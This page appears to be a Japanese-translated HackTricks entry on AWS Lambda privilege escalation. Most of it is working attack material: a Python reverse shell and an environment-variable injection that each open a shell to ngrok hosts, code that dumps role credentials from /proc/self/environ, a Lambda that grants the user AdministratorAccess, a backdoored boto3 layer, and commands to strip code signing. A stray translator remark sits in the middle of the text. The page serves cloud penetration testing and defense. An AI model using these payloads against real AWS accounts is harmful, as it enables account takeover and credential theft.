18 KiB
AWS - Lambda Privesc
{{#include ../../../../banners/hacktricks-training.md}}
lambda
lambda に関する詳細情報は:
{{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}}
iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)
これらの iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction 権限を持つユーザーは権限を昇格できます。
彼らは 新しい Lambda function を作成し既存の IAM role を割り当てる ことで、そのロールに紐づく権限を関数に付与できます。ユーザーはその後 この Lambda function にコードを書きアップロードする(例:rev shell) ことができます。
関数がセットアップされると、ユーザーは AWS API 経由で Lambda function を呼び出して、実行をトリガーし意図した操作を行わせることができます。この手法により、ユーザーは Lambda function を介して間接的に操作を実行でき、その関数に紐づく IAM role に付与されたアクセスレベルで動作します。\
A attacker could abuse this to get a rev shell and steal the token:
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
# List roles
aws iam list-attached-user-policies --user-name <user-name>
lambda function自体から、abuse the lambda role permissionsすることもできます.
もしlambda roleに十分な権限があれば、それを使って自分にadmin rightsを付与することができます:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
外部接続を必要とせずに lambda の role credentials を leak することも可能です。これは内部タスクで使用される Network isolated Lambdas に役立ちます。不明な security groups によって reverse shells がフィルタされている場合、このコードにより lambda の出力として credentials を直接 leak できます。
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
Potential Impact: 指定された任意の lambda サービスロールへの直接 privesc。
Caution
たとえ興味深く見えても
lambda:InvokeAsyncだけではaws lambda invoke-asyncを実行することはできず、lambda:InvokeFunctionも必要です。
iam:PassRole, lambda:CreateFunction, lambda:AddPermission
前のシナリオと同様に、lambda:AddPermission の権限があれば、自分に lambda:InvokeFunction の権限を付与することができます。
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
潜在的な影響: 指定された任意の lambda サービスロールへの直接的な privesc.
iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping
**iam:PassRole, lambda:CreateFunction, and lambda:CreateEventSourceMapping** の権限(および場合によっては dynamodb:PutItemとdynamodb:CreateTable)を持つユーザーは、lambda:InvokeFunction` がなくても間接的に escalate privileges できます.\
彼らは、悪意のあるコードを含む Lambda function を作成し、既存の IAM role を割り当てる ことができます。
ユーザーは Lambda を直接呼び出す代わりに、既存の DynamoDB テーブルをセットアップまたは利用し、それを event source mapping を通じて Lambda に紐付けます。こうすることで、Lambda function が テーブルへの新しいアイテム登録時に自動的にトリガーされる(ユーザーの操作または他のプロセスによる)ため、Lambda を間接的に呼び出して、渡された IAM role の権限でコードが実行されます。
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
もし AWS 環境ですでに DynamoDB が有効であれば、ユーザーは Lambda 関数のために event source mapping を設定するだけでよい。しかし、DynamoDB が使われていない場合は、ユーザーは ストリーミングを有効にした新しいテーブルを作成する 必要がある:
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
これで、connect the Lambda function to the DynamoDB tableをcreating an event source mappingによって接続できます:
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
Lambda functionがDynamoDB streamにリンクされている場合、attackerはDynamoDB streamを有効化することで間接的にLambdaをトリガーできます。これはDynamoDB tableにアイテムを挿入することで実行できます:
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
Potential Impact: 指定された lambda サービスロールへの直接的な privesc。
lambda:AddPermission
この権限を持つ攻撃者は、自身(または他者)に任意の権限を付与することができる(これはリソースベースのポリシーを生成してリソースへのアクセスを付与する):
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
潜在的な影響: コードの変更と実行を許可する権限を付与することで、lambdaサービスロールへの直接的なprivescが可能になる。
lambda:AddLayerVersionPermission
この権限を持つ攻撃者は 自分自身(または他者)に権限 lambda:GetLayerVersion を付与できる。レイヤーにアクセスして、脆弱性や機密情報を探すことができる。
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
Potential Impact: 機密情報へのアクセスの可能性。
lambda:UpdateFunctionCode
lambda:UpdateFunctionCode 権限を持つユーザーは、IAM ロールに紐付いた既存の Lambda 関数のコードを変更する可能性があります。
攻撃者は Lambda のコードを変更して IAM 資格情報を exfiltrate することができます。
攻撃者が関数を直接実行する権限を持っていない場合でも、Lambda 関数が既に存在し稼働中であれば、既存のワークフローやイベントを介してトリガーされる可能性が高く、結果として変更されたコードの実行を間接的に促進します。
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
Potential Impact: 使用されている lambda サービスロールへの直接的な privesc.
lambda:UpdateFunctionConfiguration
RCE via env variables
この権限があれば、Lambda を任意のコードを実行させるような environment variables を追加することが可能です。例えば python では、環境変数 PYTHONWARNING と BROWSER を悪用して python プロセスに任意のコマンドを実行させることができます:
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
他のスクリプト言語については、使用できる他の env 変数があります。詳細は次のスクリプト言語のサブセクションを参照してください:
{{#ref}} https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html {{#endref}}
RCE via Lambda Layers
Lambda Layers は、lamdba function に code を含めることを可能にしますが、storing it separately することで関数のコードを小さく保て、several functions can share code。
lambda の内部では、次のような関数で python code が読み込まれるパスを確認できます:
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
These are the places:
- /var/task
- /opt/python/lib/python3.7/site-packages
- /opt/python
- /var/runtime
- /var/lang/lib/python37.zip
- /var/lang/lib/python3.7
- /var/lang/lib/python3.7/lib-dynload
- /var/lang/lib/python3.7/site-packages
- /opt/python/lib/python3.7/site-packages
- /opt/python
For example, the library boto3 is loaded from /var/runtime/boto3 (4th position).
Exploitation
lambda:UpdateFunctionConfiguration の権限を悪用して、lambda 関数に add a new layer することが可能です。任意のコードを実行するには、この layer に lambda が import するような何らかの library を含める必要があります。lambda のコードを読めれば簡単に見つけられますし、lambda が already using a layer の場合があり、その layer を download して、そこに add your code することもできます。
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
pip3 install -t ./lambda_layer boto3
./lambda_layer/boto3/__init__.py を開き、global code に backdoor を追加できます(例: exfiltrate credentials を行う関数や reverse shell を取得する関数など)。
その後、./lambda_layer ディレクトリを zip にして、new lambda layer を自分のアカウントに uploadします(または被害者のアカウントにアップロードすることもできますが、権限がない場合があります)。
Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be compatible with the python version used by the lambda and if you upload it to your account, it needs to be in the same region:
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
次に、アップロードした lambda layer を 任意のアカウントからアクセス可能にする:
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
そして、lambda layer を victim lambda function にアタッチします:
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
次のステップは、可能であれば自分で関数を呼び出すか、通常の手段で呼び出されるのを待つことです — こちらがより安全な方法です。
A この脆弱性をよりステルスに悪用する方法は次を参照してください:
{{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}}
Potential Impact: 使用されている lambda service role への Direct privesc。
iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl
これらの権限があれば、関数を作成して URL を呼び出して実行できるかもしれません…しかしテスト方法は見つけられなかったので、見つけたら教えてください!
Lambda MitM
一部の lambdas はパラメータでユーザーからの 機密情報を受け取っている ことがあります。もしそのうちの一つで RCE を得られれば、他のユーザーがそれに送っている情報を外部に持ち出せます。詳細は以下を参照してください:
{{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}}
参考文献
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/
lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Bypass Lambda Code Signing
Lambda 関数が code signing を強制している場合、Code Signing Config (CSC) を削除するか Warn にダウングレードできる攻撃者は、署名されていないコードを関数にデプロイできます。これは関数の IAM role やトリガーを変更せずに整合性保護をバイパスします。
Permissions (one of):
- Path A:
lambda:DeleteFunctionCodeSigningConfig,lambda:UpdateFunctionCode - Path B:
lambda:CreateCodeSigningConfig,lambda:PutFunctionCodeSigningConfig,lambda:UpdateFunctionCode
Notes:
- Path B の場合、CSC ポリシーが
WARN(unsigned artifacts allowed)に設定されていれば、AWS Signer プロファイルは不要です。
Steps (REGION=us-east-1, TARGET_FN=):
Prepare a small payload:
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
パス A) CSC を削除してからコードを更新:
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
パス B) Warn にダウングレードしてコードを更新する(削除が許可されていない場合):
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
確認しました。指定どおり、コード、タグ、リンク、パス、クラウド/SaaSプラットフォーム名、ハッキング用語などは翻訳せず、Markdown/HTML構文をそのまま維持して翻訳します。
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
潜在的な影響: 署名されたデプロイを強制するはずの関数に、任意の署名されていないコードをプッシュして実行できる可能性があり、結果として関数ロールの権限でコードが実行される恐れがある。
クリーンアップ:
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
{{#include ../../../../banners/hacktricks-training.md}}